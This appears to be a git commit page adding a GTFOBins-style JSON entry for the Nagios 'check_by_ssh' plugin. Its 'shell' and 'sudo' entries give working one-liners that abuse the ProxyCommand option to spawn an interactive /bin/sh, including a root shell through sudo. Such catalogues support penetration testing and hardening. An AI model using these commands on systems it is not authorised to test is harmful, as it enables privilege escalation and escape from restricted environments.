add data source for check_by_ssh

master
Mr. Robot 3 years ago committed by GitHub
parent 938d30a3ab
commit 1e41ec20da
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -0,0 +1,17 @@
{
"description": "This is the 'check_by_ssh' Nagios plugin, available e.g. in '/usr/lib/nagios/plugins/'.\n",
"functions": {
"shell": [
{
"description": "The shell will only last 10 seconds.",
"code": "check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C xx"
}
],
"sudo": [
{
"description": "The shell will only last 10 seconds.",
"code": "sudo check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C xx"
}
]
}
}
Loading…
Cancel
Save